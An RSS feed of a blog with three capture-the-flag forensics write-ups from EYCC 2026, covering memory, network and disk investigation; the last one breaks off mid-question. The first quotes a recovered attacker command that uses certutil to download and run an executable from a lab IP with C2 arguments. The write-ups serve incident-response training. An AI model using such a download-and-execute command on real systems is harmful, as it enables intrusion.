<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>0xSky</title><description>Blog</description><link>https://ssumix.vercel.app/</link><language>en</language><item><title>EYCC 2026 Finals DFIR Challenges Writeup</title><link>https://ssumix.vercel.app/posts/eycc/eycc-2026-finals-dfir-challenges-writeup/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/eycc/eycc-2026-finals-dfir-challenges-writeup/</guid><description>A detailed writeup for all DFIR challenges including the memory forensics and disk forensics challenges</description><pubDate>Sun, 16 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hey!! This write-up covers the &lt;em&gt;Egyptian Youth Cybersecurity Challenge (EYCC)&lt;/em&gt; final round&apos;s forensics challenges. And it&apos;s worth mentioning that I cleared all DFIR challs and got first blood in them all too, and my team &lt;strong&gt;Cyb3r_Ph4nt0ms&lt;/strong&gt; managed to secure first place :&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./clear.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s get started!&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;First Challenge: Silent Access&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./chall1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Q1: What is the PID of the suspicious process observed on the victim&apos;s machine?&lt;/h3&gt;
&lt;p&gt;First thing I did was get an overview of everything running with &lt;code&gt;windows.pslist&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Most of the processes were legitimate, but I noticed that &lt;code&gt;explorer.exe&lt;/code&gt; was launched then &lt;code&gt;cmd.exe&lt;/code&gt; and then &lt;code&gt;PatchUpdater.exe&lt;/code&gt;, which was a weird process name and was the only non-legitimate process.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;3052&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q2: What is the full command typed by the insider to download that malicious executable?&lt;/h3&gt;
&lt;p&gt;I used the &lt;code&gt;windows.cmdline&lt;/code&gt; plugin with the PID of &lt;code&gt;cmd.exe&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And there it was, the insider&apos;s whole move laid out in one line:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cmd.exe /k &quot;cd /d C:\Windows\Temp &amp;amp; certutil -urlcache -f http://192.168.6.133:8888/PatchUpdater.exe PatchUpdater.exe &amp;amp; .\PatchUpdater.exe --server 192.168.6.133 --port 8080&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;cd into &lt;code&gt;C:\Windows\Temp&lt;/code&gt;, grab a file from an attacker IP, then run it straight away with C2 details as arguments.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;cmd.exe /k &quot;cd /d C:\Windows\Temp &amp;amp; certutil -urlcache -f http://192.168.6.133:8888/PatchUpdater.exe PatchUpdater.exe &amp;amp; .\PatchUpdater.exe --server 192.168.6.133 --port 8080&quot;&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q3: What legitimate Windows utility was abused to download the suspicious executable?&lt;/h3&gt;
&lt;p&gt;Looking at that command line again, the download itself wasn&apos;t done with anything exotic — it was done with &lt;code&gt;certutil&lt;/code&gt;, a built-in Windows binary meant for managing certificates, being abused via its &lt;code&gt;-urlcache&lt;/code&gt; flag to fetch a remote file.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;certutil.exe&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q4: Mahmoud had an important archive that he protected by a special password. This password is left somewhere on his desktop. Can you get this password?&lt;/h3&gt;
&lt;p&gt;Time to see what&apos;s actually sitting on the desktop. I used &lt;code&gt;filescan&lt;/code&gt; to hunt for the archive first:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I filtered for all files under &lt;code&gt;Desktop&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And noticed this &lt;code&gt;.txt&lt;/code&gt; file, then I dumped it using &lt;code&gt;windows.dumpfiles.Dumpfiles&lt;/code&gt; and providing the file&apos;s address:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Opened it up and the password was sitting right there in plaintext:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;0mK3LALAW3LdT&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q5: What is the important data Mahmoud was trying to hide inside that archive?&lt;/h3&gt;
&lt;p&gt;Now that I had the password, I dumped the file we found earlier using the same plugin:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I just extracted the archive using the password we already found:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;7z x &apos;file.0x7e1bc070.0xfa801b7c24c0.DataSectionObject.IMP-Financial Records.7z.dat&apos; -p 0mK3LALAW3LdT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And a flag.txt file was extracted:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;EYCC{Y0U_Sh0uLD_M4sTeR_C3RviNG}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Final Flag&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./final9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Second Challenge: Simple Silent Access&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./chall2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This one&apos;s the easy version of the same box: no process hunting, no archive cracking, just &quot;what did Mahmoud copy before he stepped away?&quot; That&apos;s a clipboard question, so I used Volatility 2 instead this time.&lt;/p&gt;
&lt;p&gt;I first used the &lt;code&gt;imageinfo&lt;/code&gt; plugin to identify a profile to use:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I used the &lt;code&gt;clipboard&lt;/code&gt; plugin to grab what was copied:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./finall11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Final Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;EYCC{M3me0Ry_F0r3nSicS_M3tteR}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Third Challenge: Operation GANBAR | Top Secret Fallines&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./chall3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We were given a &lt;code&gt;.ad1&lt;/code&gt; disk image and a  &lt;a href=&quot;https://gchq.github.io/CyberChef/#recipe=Drop_bytes(0,28,false)ChaCha(%7B&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;699454dba59db5326a50554e384d9724afe3af189cf527436a787ae1b0110884&apos;%7D,%7B&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;0000000000000000&apos;%7D,0,&apos;20&apos;,&apos;Raw&apos;,&apos;Hex&apos;)AES_Decrypt(%7B&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;4b1efa1843905b96c4ba6efede7358fac8f600b11783af20740f815135f0df30&apos;%7D,%7B&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;00000000000000000000000000000000&apos;%7D,16,&apos;CTR&apos;,&apos;Hex&apos;,&apos;Raw&apos;,%7B&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;1a75e924dde3b82300bce9b1001d0d89&apos;%7D,%7B&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;&apos;%7D,&apos;Off&apos;)&quot;&gt;CyberChef recipe&lt;/a&gt; for the used encryption algorithm. My first step was opening the file in &lt;code&gt;FTK Imager&lt;/code&gt;, and I found an archive under &lt;code&gt;Desktop\encryption&lt;/code&gt;: &lt;img src=&quot;./final12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And since it was encrypted by a certain algorithm, I had to decrypt it first before extracting its contents, so I extracted the file and imported it in the &lt;a href=&quot;https://gchq.github.io/CyberChef/#recipe=Drop_bytes(0,28,false)ChaCha(%7B&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;699454dba59db5326a50554e384d9724afe3af189cf527436a787ae1b0110884&apos;%7D,%7B&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;0000000000000000&apos;%7D,0,&apos;20&apos;,&apos;Raw&apos;,&apos;Hex&apos;)AES_Decrypt(%7B&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;4b1efa1843905b96c4ba6efede7358fac8f600b11783af20740f815135f0df30&apos;%7D,%7B&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;00000000000000000000000000000000&apos;%7D,16,&apos;CTR&apos;,&apos;Hex&apos;,&apos;Raw&apos;,%7B&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;1a75e924dde3b82300bce9b1001d0d89&apos;%7D,%7B&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;&apos;%7D,&apos;Off&apos;)&quot;&gt;CyberChef recipe&lt;/a&gt; provided by the author:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;and saved the output as an archive, then extracted its contents, and found the first part of the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After checking the rest of the files, I found that &lt;code&gt;Passwords.csv&lt;/code&gt; was encrypted with the same algorithm used by GANBAR, so I imported it in CyberChef to check its contents:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;and found a sussy link with a password provided for it, so I headed to the link and entered the provided password and downloaded a second archive: &lt;code&gt;imp_backup_stuff2.zip&lt;/code&gt;, which contained the second part of the flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./final16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Final Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;EYCC{n1c3_y0u_h4v3_4_gr337_5k1ll_1n_Inv35t1g471On5;K3ep_G01ng!!}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;And that was all!! Hope you enjoyed my writeup :&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>EYCC 2026 Qualifications Ghost in the hall Challenge Writeup</title><link>https://ssumix.vercel.app/posts/eycc/eycc-2026-qualifications-ghost-in-the-hall-challenge-writeup/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/eycc/eycc-2026-qualifications-ghost-in-the-hall-challenge-writeup/</guid><description>A detailed writeup for the Ghost in the hall pcap forensics and threat intelligence challenge</description><pubDate>Thu, 30 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hey!! This write-up covers the &lt;em&gt;Egyptian Youth Cybersecurity Challenge (EYCC)&lt;/em&gt; Ghost in the hall challenge that I managed to solve. This year, forensics challenges were much more challenging and required actual DFIR knowledge to understand and solve, rather than the steganography-focused challenges from last year. My team &lt;strong&gt;Cyb3r_Ph4nt0ms&lt;/strong&gt; managed to secure first place in the CTF qualifications, and I was able to solve 2/3 forensics challenges during the CTF :&amp;gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s get started!&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;img src=&quot;./g1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We were given a single pcap, &lt;code&gt;2026-02-28-traffic-analysis-exercise.pcap&lt;/code&gt;, so my first move was just to pop it open and sift through the traffic before viewing any question&lt;/p&gt;
&lt;h3&gt;Q1: What is the IP address of the compromised workstation?&lt;/h3&gt;
&lt;p&gt;Since the goal was to identify the compromised workstation, I first wanted to see which hosts were communicating the most throughout the capture, so after loading the pcap in &lt;code&gt;Wireshark&lt;/code&gt; I checked the conversations list and noticed a single IP sending and receiving traffic throughout the capture&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since it was communicating consistently with multiple hosts, it was clearly the compromised workstation&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;10.2.28.88&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q2: What is the Command &amp;amp; Control IP address and port? (format: IP:Port)&lt;/h3&gt;
&lt;p&gt;Soooo I checked the protocol hierarchy to understand the flow of the requests and I noticed that most of the traffic was mainly http&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;then I filtered for http and I noticed abnormal activity from the IP &lt;code&gt;45.131.214.85&lt;/code&gt;. It keeps sending repeated requests to a weird destination: http://45.131.214.85/fakeurl.htm at a fixed rate&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then followed the http stream and noticed it was actually running over port &lt;code&gt;443&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g5.png&quot; alt=&quot;&quot; /&gt;
&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;45.131.214.85:443&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q3: What User-Agent does the malware use for beaconing?&lt;/h3&gt;
&lt;p&gt;I checked the header of one of the repeated requests from the malicious IP, and the User-Agent was sitting right there in plain text&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;NetSupport Manager/1.3&lt;/code&gt; immediately jumped out since NetSupport Manager is a legit remote-support tool that&apos;s been getting abused as a RAT for years now, and its beacons are pretty recognizable once you&apos;ve seen one.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;NetSupport Manager/1.3&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q4: What server header and OS is the C2 gateway running?&lt;/h3&gt;
&lt;p&gt;I checked the HTTP responses coming back from &lt;code&gt;45.131.214.85&lt;/code&gt; for the same beaconing stream, and the &lt;code&gt;Server&lt;/code&gt; header gave up the gateway software version and OS in one line&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;NetSupport Gateway/1.92 (Windows NT)&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q5: What is the beaconing interval used by the malware? (in seconds)&lt;/h3&gt;
&lt;p&gt;I lined up the timestamps of consecutive &lt;code&gt;POST /fakeurl.htm&lt;/code&gt; requests to the C2 and the gaps were consistent:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;19:55:51.530968  &amp;lt;- initial handshake burst (4 requests inside ~1s, setting up the session)
19:55:51.679800
19:55:52.038833
19:55:52.239184
19:56:52.414979  -&amp;gt; +60.18s
19:57:52.488778  -&amp;gt; +60.07s
19:58:52.569808  -&amp;gt; +60.08s
19:59:52.644829  -&amp;gt; +60.08s
20:00:52.829091  -&amp;gt; +60.18s
20:01:52.909105  -&amp;gt; +60.08s
20:02:52.988882  -&amp;gt; +60.08s
20:03:53.171691  -&amp;gt; +60.18s
20:04:53.248121  -&amp;gt; +60.08s
20:05:53.341867  -&amp;gt; +60.09s
20:06:53.527608  -&amp;gt; +60.19s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So there&apos;s a little burst of setup traffic right at the start (that&apos;s the session negotiation, not the actual beacon loop), and then once the real check-in cadence kicks in at &lt;code&gt;19:56:52&lt;/code&gt;, every single gap rounds to 60 seconds, give or take ~100-200ms of jitter which is just normal network/processing latency, not the malware actually varying its sleep timer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;60&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q6: When did the first C2 beacon occur? (UTC, format: YYYY-MM-DD HH:MM:SS)&lt;/h3&gt;
&lt;p&gt;I checked the stream again and just grabbed the timestamp on the very first &lt;code&gt;POST /fakeurl.htm&lt;/code&gt; request header&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;2026-02-28 19:55:51&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q7: What is the SHA256 of the second executable?&lt;/h3&gt;
&lt;p&gt;This is where the pcap stopped cooperating :0 My first instinct was to export every HTTP object in the capture (&lt;code&gt;File &amp;gt; Export Objects &amp;gt; HTTP&lt;/code&gt;) and check each one for a PE header and nothing came back&lt;/p&gt;
&lt;p&gt;I also grepped the raw TCP payloads across the whole capture for the &lt;code&gt;&quot;This program cannot be run in DOS mode&quot;&lt;/code&gt; string, which would catch an executable even if Wireshark didn&apos;t reassemble it as a clean HTTP object. Still nothingg&lt;/p&gt;
&lt;p&gt;So the conclusion was: the actual executable download never happened inside this capture window. The infection had already landed before the pcap started recording and all we&apos;re seeing here is the post-infection beaconing.&lt;/p&gt;
&lt;p&gt;I searched the malicious IP in &lt;a href=&quot;https://www.virustotal.com/gui/home/search&quot;&gt;VirusTotal&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then after checking the Community tab I found this comment claiming this IP was flagged as an IOC on &lt;a href=&quot;https://threatfox.abuse.ch/ioc/1755776/&quot;&gt;ThreatFox&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After checking the link I found the sha256 of the 2nd malware in the malware samples table&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;c9e5bb7a368280d771edcfdb33717a3130560d2bb71773ab1aaffe0eb585fd2c&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q8: What is the malware detection label based on the ESET-NOD32 AV?&lt;/h3&gt;
&lt;p&gt;With the hash in hand, I headed straight to VirusTotal then checked the detection tab, and scrolled the vendor list down to ESET-NOD32&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;Win32/NetSupportManager.AD Trojan&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q9: What is the timestamp for the malware&apos;s creation? (UTC, format: YYYY-MM-DD HH:MM:SS)&lt;/h3&gt;
&lt;p&gt;I headed to the Details tab and checked its history where the creation time was clearly stated&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;2026-02-28 08:23:22&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q10: As part of VM evasion, what Windows registry key did the malware query to detect VMware?&lt;/h3&gt;
&lt;p&gt;I moved to the Behavior tab, where VT logs sandbox execution details (VT ran this sample through Zenbox, CAPE, Dr.Web vxCube, and a few others).&lt;/p&gt;
&lt;p&gt;Scrolled down to &lt;code&gt;Shell commands&lt;/code&gt; and the sample was doing a two-pronged VM check: a pile of PowerShell + WMI queries (&lt;code&gt;Win32_ComputerSystem&lt;/code&gt;, &lt;code&gt;Win32_BIOS&lt;/code&gt;, &lt;code&gt;Win32_DiskDrive&lt;/code&gt;, &lt;code&gt;Win32_NetworkAdapter&lt;/code&gt;) fishing for manufacturer/model strings like &quot;VMware&quot; or &quot;VirtualBox&quot;, plus one direct registry query sitting right in the command list:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./g14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That key only exists on machines that actually have the VMware Tools guest additions installed, so querying it is a quick, cheap &quot;am I running inside a VM&quot; check before the malware commits to running its real payload&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;HKLM\SOFTWARE\VMware, Inc.\VMware Tools&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Final Flag:&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./g15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;And that was all, hope you enjoyed this writeup!! :&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>EYCC 2026 Qualifications Trust Issue Challenge Writeup</title><link>https://ssumix.vercel.app/posts/eycc/eycc-2026-qualifications-trust-issue-challenge-writeup/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/eycc/eycc-2026-qualifications-trust-issue-challenge-writeup/</guid><description>A detailed writeup for the Trust Issue hard forensics challenge</description><pubDate>Mon, 27 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hey!! This write-up covers the &lt;em&gt;Egyptian Youth Cybersecurity Challenge (EYCC)&lt;/em&gt; Trust Issue Forensics challenge that I managed to solve. This year, forensics challenges were much more challenging and required actual DFIR knowledge to understand and solve, rather than the steganography-focused challenges from last year. My team &lt;strong&gt;Cyb3r_Ph4nt0ms&lt;/strong&gt; managed to secure first place in the CTF qualifications, and I also got the first blood, and the only solve, on this hard forensics challenge :&amp;gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s get started!&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;img src=&quot;./2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We were given a C folder and two log files, so my first step was to load them in &lt;code&gt;Autopsy&lt;/code&gt; to start my investigation&lt;/p&gt;
&lt;h3&gt;Q1: The victim interacted with the threat actor on a specific chat platform to receive a requested document. What is the name of this communication application?&lt;/h3&gt;
&lt;p&gt;After loading the challenge files I noticed that there was web activity from the huge amount of web cache and web history, so I checked the web cache artifact and found multiple requests to discord.com&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I checked the web history artifact which confirmed that discord was used in communication&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;discord&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q2: What is the ID of the conversation between the attacker and the victim?&lt;/h3&gt;
&lt;p&gt;From the web history artifact we can see that only one discord chat link was visited which had the chat ID of the conversation&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;1518625267487346844&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q3: The attacker mentioned the password used to unzip the folder containing that malicious pdf, what is the used password?&lt;/h3&gt;
&lt;p&gt;My first thought was searching all files for the chat ID since the password almost definitely existed in the browser artifacts, and my suspicion was confirmed after viewing the content of &lt;code&gt;C/Users/mm370/AppData/Local/Google/Chrome/User Data/Default/Cache/Cache_Data/data_2/data_2__b10232da/data_2__b10232da/0&lt;/code&gt; which is a cached Chrome browser data file recovered from the user&apos;s profile that contains serialized JSON data from a Discord conversation that Chrome stored locally, including message contents, timestamps, sender information, attachment metadata, and URLs&lt;/p&gt;
&lt;p&gt;Examining the cached data revealed both the password shared in the chat and the metadata for the attached &lt;code&gt;Nexora_Documents.7z&lt;/code&gt; archive, making it a valuable source of forensic evidence even without accessing Discord directly&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;1233m7SeNshE7at3&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q4: The victim reported that upon double-clicking the supposed HR document a Command Prompt window briefly flashed on the screen before the document opened. What is the exact name of the hidden batch script that was executed via the command line arguments?&lt;/h3&gt;
&lt;p&gt;I decided to check the &lt;code&gt;Downloads&lt;/code&gt; folder for the downloaded malicious document before checking any prefetch or evtx logs and found &lt;code&gt;C/Users/mm370/Downloads/Nexora Documents/Nexora_HR.pdf.lnk&lt;/code&gt; and viewing its strings revealed that a batch script located under &lt;code&gt;/c _hidden&lt;/code&gt; is the intended file waiting to be executed&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;ECCY.bat&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q5: What is the name of the legitimate binary (LOLBin) that the attacker utilized to deliver the malicious payload onto the compromised system?&lt;/h3&gt;
&lt;p&gt;For this question I decided to check prefetch files for a clear timeline of what was executed, so I used the &lt;code&gt;PECmd&lt;/code&gt; tool to extract the prefetch files into a clean csv and then view it in &lt;code&gt;TimeLineExplorer&lt;/code&gt; using this command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./PECmd.exe -d &quot;path\to\prefetch&quot; --csv out --csvf prefetch.csv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and the tool outputted two files: &lt;code&gt;prefetch.csv&lt;/code&gt; and &lt;code&gt;prefetch_Timeline.csv&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once I had both csvs loaded up in &lt;code&gt;TimelineExplorer&lt;/code&gt;, I scrolled through looking for anything weird around the time the user opened the malicious PDF, and noticed that the chain looked something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;02:09:51  7ZG.EXE                  -&amp;gt; extracting the archive from the phishing email
02:10:55  ACROBAT.EXE              -&amp;gt; victim opens the PDF lure
02:10:57  csc.exe / cvtres.exe     -&amp;gt; .NET compiling on the fly (sus)
02:14:25  cmd.exe -&amp;gt; powershell.exe -&amp;gt; csc.exe/cvtres.exe again
02:24:25  CURL.EXE                 -&amp;gt; !!
02:27:57  sc.exe                   -&amp;gt; service getting created (persistence)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That &lt;code&gt;CURL.EXE&lt;/code&gt; entry immediately jumped out as it&apos;s sitting right after all the PowerShell/csc.exe weirdness and right before a service gets created, which indicates that this is where the payload actually got pulled down&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So basically: curl.exe is the LOLBin, a legit, signed Windows binary that got repurposed to download the malicious payload onto the box instead of the attacker having to drop their own downloader which would&apos;ve been way easier for AV to catch&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;CURL.exe&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q6: What is the full path of the delivered malicious Payload?&lt;/h3&gt;
&lt;p&gt;I checked the &lt;code&gt;Files Loaded&lt;/code&gt; list in the prefetch of &lt;code&gt;CURL.exe&lt;/code&gt;, and sitting right next to the normal networking DLLs (&lt;code&gt;WS2_32.DLL&lt;/code&gt;, &lt;code&gt;CRYPT32.DLL&lt;/code&gt;, etc) was &lt;code&gt;ADMIN.EXE&lt;/code&gt;, a System32 Windows binary and it has no prefetch history of its own before this, so that&apos;s certainly the malicious payload curl fetched&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;C:\Windows\System32\ADMIN.exe&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q7: The attacker established a persistence mechanism to automatically trigger the delivered payload. What is the name of the component responsible for this execution?&lt;/h3&gt;
